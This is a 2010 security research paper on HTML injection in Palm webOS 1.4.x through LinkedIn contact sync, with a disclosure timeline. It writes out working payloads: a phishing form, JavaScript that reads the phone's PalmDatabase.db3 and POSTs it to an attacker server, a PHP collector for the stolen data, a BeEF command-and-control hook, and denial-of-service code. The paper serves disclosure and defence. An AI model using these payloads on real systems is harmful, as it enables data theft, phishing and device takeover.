webOS 1.4.x Security Research
Abstract:
Mobile computing devices, like smartphones, are increasing in functionality and popularity. The
Palm Pre Smartphone is the first device to launch with webOS. WebOS's graphical user interface is
designed for use on devices with touchscreens. It includes a suite of applications for personal
information management and makes use of a number of web technologies such as HTML 5, JavaScript,
and CSS.[5][6] Palm claims that the design around these existing technologies was intended to spare
developers from learning a new programming language. *(http://en.wikipedia.org/wiki/WebOS)
Architecturally, Palm webOS is an embedded Linux operating system that hosts a custom User Interface
(UI) System Manager built on standard browser technology. The System Manager provides a full range of
system user interface features including: navigation, application launching and life-cycle management,
event management and notifications, system status, local and web searches, and rendering application
HTML/CSS/JavaScript code.
*(http://developer.palm.com/index.php?option=com_content&view=article&id=1761&Itemid=42)
Our security research focused on the Palm webOS 1.4.X. During our review of the software’s UI
we discovered interesting design flaws which could be leveraged using exploits and vulnerabilities
developed by a remote malicious attacker. Using the findings from our security research we
demonstrated the ability for remote HTML injection which then allowed remote file access. This could
be used to: steal sensitive user data from the device through a phishing attack, conduct passive
monitoring of keystrokes, or to create remote Javascript command and control like functionality
(essentially a mobile botnet). The implications of the vulnerabilities discovered are critical; however, the
main issue is the underlining lack of input sanitation.
Timeline:
06/24/2010 – Notified Palm Security team about several security issues.
06/24/2010 – Response from Palm Security team indicated they were aware of the HTML injection
issue and resolved it in webOS 1.4.5.
07/06/2010 – Completed retest of the HTML injection issue in webOS 1.4.5 and notified Palm Security
team of the results. Details included a link to research material, Proof of Concept and white paper.
07/06/2010 – Palm Security responded that the HTML injection issue reported was different than the
issue “resolved” in webOS 1.4.5 and would work to include a patch in a future release.
11/24/2010 – Presented findings at Austin Hacker Association meeting #51.
Bio:
Orlando Barrera II (1).
Orlando Barrera II (Software Developer): Mr. Orlando Barrera II has worked in communications within
the United States Army Signal Corps, 35th Signal Brigade, stationed at Fort Bragg, NC. He has also
worked in quality assurance for Aspyr Media. While completing his bachelors of science he worked at
the Computer Science Department, Texas State University. Later he worked for NLI Media Group as a
web developer. He is currently working as a code monkey and software developer for SecTheory. He has
presented at AHA and is an active member in the local OWASP chapter.
Daniel Herrera (2).
Daniel Herrera (Web Application Security Engineering): Mr. Herrera has been working in the Web
Application Security arena for over 4 years. (http://www.linkedin.com/pub/daniel-herrera/4/793/a62)
Mr. Herrera has been a contributing member of the Web Application Security Consortium (WASC),
participating in projects and authored content for the WASC Threat Classification version 2.0. Mr.
Herrera has presented content at AHA and is an active member of the Austin OWASP chapter.
Background:
The lack of HTML input sanitation of the Palm Pre has been previously demonstrated. Security
Researchers have discovered email and SMS injection exploits which were patched by the vendor.
The email vulnerability demonstrated the dangers of un-sanitized data which could be rendered
in the context of the user. The Proof of Concept (PoC) released be Townsend Ladd Harris
*(http://tlhsecurity.blogspot.com/2009/10/palm-pre-webos-11-remote-file-access.html) was able
execute XMLHTTPRequest's. An injected XMLHTTPRequest within the email would access the local file
system and return the etc/passwd file to any desired server. An attacker could just send a malicious
email to a victim and the un-sanitized JavaScript would be rendered and run by webOS.
The SMS attack released by Intrepidus Group
*(http://intrepidusgroup.com/insight/2010/04/webos-examples-of-sms-delivered-injection-flaws/)
exploited the un-sanitized SMS messages to send malicious payloads to a victim. They also were able to
demonstrate the hazards of default hash key-codes on the Palm Pre device which could be run remotely
due to the protocol handling of the tel:// protocol.
Overview:
The Palm Pre Smartphone is the first device to launch with webOS. WebOS's graphical user
interface is designed for use on devices with touch screens. It includes a suite of applications for
personal information management and makes use of a number of web technologies such as HTML 5,
JavaScript, and CSS. Palm claims that the design around these existing technologies was intended to
spare developers from learning a new programming language. *(http://en.wikipedia.org/wiki/WebOS)
The problems discussed within this document take advantage of the Palm Pre application
model, utilizing Cross-site Scripting as the primary exploit method. Architecturally, Palm webOS is an
embedded Linux operating system that hosts a custom User Interface (UI) System Manager built on
standard browser technology. The System Manager provides a full range of system user interface
features including: navigation, application launching and life-cycle management, event management
and notifications, system status, local and web searches, and rendering application HTML/CSS/JavaScript
code.
*(http://developer.palm.com/index.php?option=com_content&view=article&id=1761&Itemid=42)
Assumptions: Testing assumes the victim is running WebOS version 1.4.x on a Palm Pre device with
network connectivity.
The HTML Injection Vector:
Fig. 1
The first step was identifying an entry point into an application where HTML/JavaScript content would
be rendered by the OS. This could be default applications installed by the vendor, or third party
applications downloaded to the phone. We found an un-sanitized field within the Contacts application
which was being rendered by webOS (Fig. 1).
Fig. 2
The name field is sanitized; however, the Company field (Fig. 2) is not sanitized within the main contacts
application window. This flaw is where we began to leverage our way into exploiting the Palm Pre
device.
Fig. 3: Contacts Application
Fig. 4: HTML Injection
We now have an entry point to inject HTML syntax which is being rendered by webOS (Fig. 3). This
demonstrates that someone can inject valid HTML into the contact application locally and have it
successfully rendered. To extend this to be accessible by a remote attacker we turn to the “Sync”
feature. Ironically, Palm gives some interesting insights into this feature. The Sync feature allows you to
import contact data from a variety of social media web sites:
“Getting your contacts, calendar events, and tasks onto your Palm Pre is perhaps the first and single
most important step to begin exploiting the capabilities of your new smart-phone
*(http://blog.treonauts.com/2009/06/palm-pre-sync-solutions.html)”
Fig. 5: Sync Feature
We will focus our attack vector on one of the web sites allowed to import contacts using the Sync
functionality. “LinkedIn” is a business-oriented social networking site which allows Syncing with the
Palm Pre contacts application. It is this site which we will be using to launch our attack vectors remotely.
(Fig.6)
Fig. 6: Linkedin Attack Vector
An attacker can target a victim by social engineering a relationship upon LinkedIn. The victim needs to
befriend the attacker via LinkedIn, and then “Sync” their Palm Pre with LinkedIn to allow for the payload
to be delivered. An attacker can send an invitation to the victim to add the attacker to their LinkedIn
connections. (Fig. 7)
Fig. 7: LinkedIn Invitation.
In the real world the attacker would attempt to social engineer the victim to accept the LinkedIn
connection request.(Fig. 8)
Fig. 8: Linkedin Connections
The victim is now one of the attacker’s connections via LinkedIn. The attacker can change their
information on LinkedIn to deliver a malicious payload to the victim once the LinkedIn profile is updated
on their phone.
The one issue is that the name field is HTML escaped so any input in this field will cause the payload to
be sanitized; however, if we inject “<>” (without the quotes) into any field we want excluded, it will be
bypassed by the parser. We are going to attempt to inject the “Company” field within the contacts
application on the Palm Pre so we are going to need to edit the “Current” field on LinkedIn. The input
field on the LinkedIn web site is limited to 100 characters; however, the character limit is enough to
deliver the attackers payloads. The character limit imposed by LinkedIn can be bypassed by including
JavaScript code within a remote file. This will insure the payload will be delivered to the phone when it
is synced with the user’s LinkedIn profile. (Fig. 9)
Fig. 9: Linkedin Current Position
Let us focus our attention back to the Palm Pre itself. The only interaction between the victim and the
attacker thus far has been a connection socially engineered via the LinkedIn web site. The victim now is
at risk for a remote attack from a malicious “connection” on LinkedIn.
Fig. 10: Add LinkedIn Profile to Palm Pre
Fig. 11: Linkedin Contact Loaded
The contacts application manager does not allow the victim to edit the contact information for a contact
who has been imported using Sync. (Fig. 12)
Fig. 12: Linkedin Contact Edit
This HTML injection technique using a social networking site highlights the problem with content
sanitation. The Palm Pre trusts the information imported from third party applications without sanitizing
and normalizing the data received. Content injection will more likely become an increasingly used attack
vector as mobile devices are attempting to interact with social networking applications.
This injection vector can be a point of entry for malicious code, providing a way to deliver a malicious
payload remotely to the device. Using this injection flaw an attacker can execute malicious code.
Example Payloads:
Most payload examples can be injected remotely using the previously discussed HTML injection method
in conjunction with sourcing in a remote JavaScript file.
1) Content Injection (Cross-site Scripting), we use html syntax to inject media content and clientside code. (Fig. 12)
<iframe src=’http://www.youtube.com/watch?v=EP0sHfgkbSg’></iframe>
Fig. 12: Media Content Injection
Every time the victims’ contacts application is opened the injected content will load.
2) Phishing, having access to inject HTML allows for attacks using the webOS API. The Widgets,
Framework API, and Service API are all possibly accessible to the attacker using crafted HTML
and latter JavaScript code. A simple example which we will present next demonstrates a
phishing attack.
<div Id="main" Class="palm-hasheader"><div Class="palm-header">Email
Confirmation</div><div Class="palm-body-text"><form Action="URL"
Method="get"><br/><br/><br/><br/><br/>Please Confirm <br/>Your Email
Information<BR/>Email Address<br/><input Type="text" Name="email"
Id="email"/><br/>Username<br/><input Type="text" Name="user"
Id="user"/><br/>Password<br/><input Type="password" Name="pass"
Id="pass"/><br/> <input Type="submit" Value="submit" X-mojoelement="Button"/></form></div></div>
Fig. 13: Phishing Attack.
If you notice the header is rendered by the palm-header giving a look and feel of the palm pre
pill box. Time could be spent crafting a more legitimate looking phishing attack, but this is just a
proof of concept. (Fig. 13)
3) Remote File Access, access to the local file system using XMLHTTPRequests(XHR).
Fig. 14
A malicious attacker can leverage this injection flaw to gain remote file access. The contacts
application allows the execution of JavaScript code which is located on a web server under the
attacker’s control. Once the remote JavaScript file is executed the malicious payload code is
delivered and creates a new XMLHTTPRequest using the Ajax.Request function. The
XMLHTTPRequest uses the GET method to access local files on the phone and the POST method
to send the response text to a remote web server the attacker controls (Fig 14). The file which
we focused on obtaining from the phone was the “PalmDatabase.db3” file; which contains the
victim’s emails, email addresses, contact list information, and more.
<a href="javascript:{post=new
XMLHttpRequest();post.open('POST','URL',true);post.setRequestHeader('Contenttype','application/x-www-formurlencoded');post.send('email=email.info@gmail.com&user=userinfo&pass=test');}">Cli
ck Me!</a>
An attacker can get JavaScript code to run and post data back to a remote server using either a
form post or an XMLHTTPRequest. JavaScript code could also be run through an iframe, img,
etc..:
<iframe src='javascript:[CODE]'></iframe>
<a href='javascript:[CODE]'></a>
<img src='javascript:[CODE]'/>
In order to get the code to execute remotely the attacker will need to create a payload to inject
into the LinkedIn web site. HTML code will source in a remote JavaScript file which will hold the
complete malicious payload. (Fig. 15)
Fig. 15: XHR Demo.
LinkedIn Attack Vector: under 100 characters
<iframe src="javascript:document.write('<script src=URL/payload.js></script>')">
Inject HTML code to source in a remote JavaScript file to execute the malicious payload.
Remote JS File (http://[domain]/1.js) (Fig. 16)
document.write("<html><head><script src=\"/usr/palm/frameworks/mojo/mojo.js\"
type=\"text/javascript\" x-mojo-version\"1\"></script></head><div><a href=\"javascript:var
get=new
Ajax.Request('/var/luna/data/dbdata/PalmDatabase.db3',{method:'get',evalJSON:'false',onSucce
ss:function(response){var request=new
Ajax.Request('http://URL/webosData.php',{method:'post',evalJson:'false',postBody:response.res
ponseText});}});window.open('http://lolcat.com/images/lolcats/medium_511.jpg');\">More HOT
Girls !!!<marquee><img src=\"http://cheezhawtness.files.wordpress.com/2010/06/andre-3p.jpg?w=100&h=200\"></marquee></a></div><br><br></html>");
(I have included an image within the example for visual effect; however, this could be omitted
and the attack hidden using an iframe.)
Remote PHP Collector (http://[domain]/[path]/webosData.php')
<?php
$today = date("F j, Y, g:i a");
$entryTime = $_SERVER['REQUEST_TIME'];
$myFile = "db3/".$entryTime.".db3";
$fh = fopen($myFile, 'a') or die("can't open file");
$data = file_get_contents("php://input");
fwrite($fh, $data); fclose($fh);
$fh1 = fopen('dataCollector.html', 'a') or die("can't open file");
$link = "<a href='".$myFile."'>".$myFile."</a>";
fwrite($fh1, $link);fwrite($fh1, "<br/>");fclose($fh1);
?>
Fig. 16: Remote JS file; XHR Remote File Access
4) Remote Command and Control, JavaScript can be used to implement command and control
features, in essence hijacking the user experience.
For demonstration purposes we will be using the JavaScript Backdoor (BeEF). This could be
leveraged further to create a full botnet which is under JavaScript command and control. Again
this is just for demoing the Proof of Concept and not intended as a full working mobile botnet.
Let us change the payload.js remote JavaScript file to include a BeEF hook. (Fig. 117)
document.write("<html><head><script src=\"/usr/palm/frameworks/mojo/mojo.js\"
type=\"text/javascript\" x-mojo-version\"1\"></script></head><script
src=\"http://URL/beef/hook/beefmagic.js.php\" type=\"text/javascript\" x-mojoversion=\"1\"></script></html>");
Fig. 17: BeEF Hook Injection
The Proof of Concept demonstrates a simple JavaScript command and control backdoor which is
running under the context of the contacts application. This backdoor can also act as a key logger
when the contacts application is open.
Fig. 18
This exploit (Fig. 18) uses a similar attack vector as the previous example with a different payload. This
exploit is an example of injecting a remote command and control JavaScript backdoor (EG: BeEF) into
the Contacts Application.
Fig. 5
Using a JavaScript hook, inserted into the Contacts Application from a remote JavaScript file, a malicious
attacker is able to utilize the tools within the BeEF framework (e.g. key logger). Once the Contact
Application is opened it will respond back to the BeEF server (Fig. 5).
Conclusion: The capabilities of smartphone and other mobile devices are increasing with every
generation of technology; however, mobile device vendors must be aware of the risks present to their
software and insure that security measures within these technologies progresses to compensate for
them. Attackers can take a minor security flaw and leverage it to gain access to sensitive user
information and data. End users need to be aware of the changing technologies and security threats
within the mobile device market.
For further exploit details please refer to Appendix A .
Appendix A
Additional Findings:
Other issues which we discovered during our research.
1) Image/Marquee tag floating point crash (possible memory corruption):
<img src='icon.png' width=0.13371337.......>
<marquee width=0.13371337.........>Pwn3d</marquee>
Placing the above code in the contacts application resulted in the crashing the OS every time the
contacts application was launched.
2) Denial of Service:
<iframe src='javascript:while(1){window.open('');}'></iframe>
This payload results in a full device lock, in order to recover the user would need to remove the
device power source.